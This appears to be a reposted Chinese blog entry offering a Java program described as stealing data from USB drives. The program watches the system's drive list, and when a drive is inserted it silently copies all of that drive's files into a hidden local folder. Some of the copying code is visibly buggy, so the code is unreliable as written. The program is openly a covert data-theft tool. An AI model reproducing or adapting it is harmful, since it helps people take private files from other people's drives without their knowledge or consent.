博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一个java小程序,盗取插入的U盘中的数据。
阅读量:6270 次
发布时间:2019-06-22

本文共 6513 字,大约阅读时间需要 21 分钟。

package cn.itheima.sh;import java.io.*;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Date;public class Demo {    public static void main(String[] args) throws InterruptedException {        steal("d:\\autoCopy");    }    //将插入的u盘的所有数据拷贝到指定目录中    private static void steal(String dir) {        File file = new File(dir);        if (file.mkdirs())            System.out.println("创建文件夹" + file.getPath() + "完成!");        long sizeCopied = 0L;        long totalFileSize = 0L;        while (true) {            String report = monitor();            if (!report.equals("")) {                System.out.println(report);                if (report.contains("插入")) {                    //根据当前时间创建一个文件夹                    Date now = new Date();                    SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");                    String s = sdf.format(now);                    String diskName = report.substring(2, 4);                    //检测u盘信息,                    File disk = new File(diskName);                    totalFileSize = disk.getTotalSpace() - disk.getFreeSpace();                    System.out.println("正在拷贝中...");                    sizeCopied += copyDisk(diskName, dir + "\\" + s);                    System.out.print("拷贝结束!");                    System.out.print("本次总拷贝:");                    System.out.printf("%5.2f", sizeCopied * 1.0 / 1024 / 1024 / 1024);                    System.out.println("GB");                    System.out.print("完成度为");                    System.out.printf("%5.2f", sizeCopied * 1.0 / totalFileSize * 100);                    System.out.println("%");                }            }        }    }    //拷贝文件或文件夹(不包括里面的内容)到指定的目录,返回已拷贝的数据的大小。    private static long copyFile(String absoluteName, String dir) {        long size = 0L;        File file = new File(absoluteName);        if (file.exists()) {            String fileName = file.getName();            File newFile = new File(dir + fileName);            //1.如果是文件夹,就在指定目录下新建同名的文件夹            if (file.isDirectory()) {                if (newFile.mkdir()) {                    System.out.println("创建文件夹" + newFile.getPath() + "完成!");                }            }            //2.如果是文件,就拷贝里面的内容            try {                if (file.isFile()) {                    BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));                    byte[] buf = new byte[1024];                    int len;                    BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(newFile));                    while ((len = bis.read(buf, 0, buf.length)) != -1) {                        bos.write(buf, 0, len);                    }                    bos.flush();                    bos.close();                    bis.close();                    size = file.length();                    System.out.println("拷贝文件" + absoluteName + "完成!");                    return size;                }            } catch (Exception e) {                System.out.println("系统异常,复制中断");            }        }        return size;    }    //拷贝指定文件夹,从dir到dir2,dir不能是根目录,返回已拷贝的数据的总大小    private static long copyDir(String dir, String dir2) {        long size = 0L;        size += copyFile(dir, dir2);        File file = new File(dir);        File[] subFiles = file.listFiles();        if (subFiles != null) {            for (File subFile : subFiles) {                size += copyFile(dir, dir2);                if (subFile.isDirectory()) {                    copyDir(subFile.getPath(), dir2 + file.getName() + "\\" + file.getParentFile().getName());                }                if (subFile.isFile()) {                    size += copyFile(subFile.getPath(), dir2 + file.getName() + "\\" + file.getParentFile().getName());                }            }        }        return size;    }    //拷贝指定磁盘到dir2中    private static long copyDisk(String disk, String dir2) {        long size = 0L;        String diskName = disk.substring(0, 1);        String target = dir2 + "\\" + diskName + "\\";        File targetFile = new File(target);        if (targetFile.mkdirs()) {            System.out.println("创建文件夹" + targetFile.getPath() + "完成!");        }        File source = new File(disk);        size += copyFile(source.getPath(), target);        File[] files = source.listFiles();        if (files != null) {            for (File file : files) {                size += copyDir(file.getPath(), target);            }        }        return size;    }    //刷新磁盘列表    private static ArrayList
flashDiskesArray(ArrayList
arrayList) { File[] files = File.listRoots(); arrayList.add(files); ArrayList
newArrayList = null; if (arrayList.size() > 2) { newArrayList = new ArrayList<>(); newArrayList.add(0, arrayList.get(arrayList.size() - 2)); newArrayList.add(1, arrayList.get(arrayList.size() - 1)); } return newArrayList; } //根据传入两个File数组,找出插入或弹出的盘符,并返回,如果没有就返回"" private static String compare(File[] before, File[] now) { StringBuilder result = new StringBuilder(""); if (before.length != now.length) { result.append(before.length > now.length ? "弹出" : "插入"); } File[] longer = before.length > now.length ? before : now; File[] shorter = before.length < now.length ? before : now; for (File currentFile : longer) { Boolean findSameFile = false; for (File aShorter : shorter) { if (currentFile.compareTo(aShorter) == 0) { findSameFile = true; } } //找到插入或弹出的盘符 if (!findSameFile) { result.append(currentFile.getPath()); } } return result.toString(); } //监听系统中的磁盘添加或删除 private static String monitor() { ArrayList
arrayList = new ArrayList<>(); arrayList.add(File.listRoots()); arrayList.add(File.listRoots()); String result; while (true) { arrayList = flashDiskesArray(arrayList); result = compare(arrayList.get(0), arrayList.get(1)); if (!result.equals("")) { break; } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } return result; }}

  

转载于:https://www.cnblogs.com/lixin4395/p/10506121.html

你可能感兴趣的文章
CF 375D. Tree and Queries【莫队 | dsu on tree】
查看>>
Maven最佳实践 划分模块 配置多模块项目 pom modules
查看>>
Hadoop学习笔记——WordCount
查看>>
Unity应用架构设计(4)——设计可复用的SubView和SubViewModel(Part 1)
查看>>
Java-Spring-获取Request,Response对象
查看>>
opencv项目报错_pFirstBlock==pHead解决办法
查看>>
MySQL日志
查看>>
Oracle性能优化之Oracle里的执行计划
查看>>
电脑如何连接远程服务器?听语音
查看>>
使用Xcode 查看objective-C的汇编代码
查看>>
Vue.js——60分钟快速入门
查看>>
设计模式 - 模板方法模式(template method pattern) 具体解释
查看>>
mysql判断一个字符串是否包含某子串 【转】
查看>>
a bad dream
查看>>
FD_CLOEXEC用法及原因_转
查看>>
element UI 的学习一,路由跳转
查看>>
RabbitMQ三种Exchange模式(fanout,direct,topic)的性能比较
查看>>
Spring JavaBean属性值的注入方式( 属性注入, 特殊字符注入 <![CDATA[ 带有特殊字符的值 ]]> , 构造器注入 )...
查看>>
【Linux】Linux下统计当前文件夹下的文件个数、目录个数
查看>>
Hibernate_14_数据连接池的使用
查看>>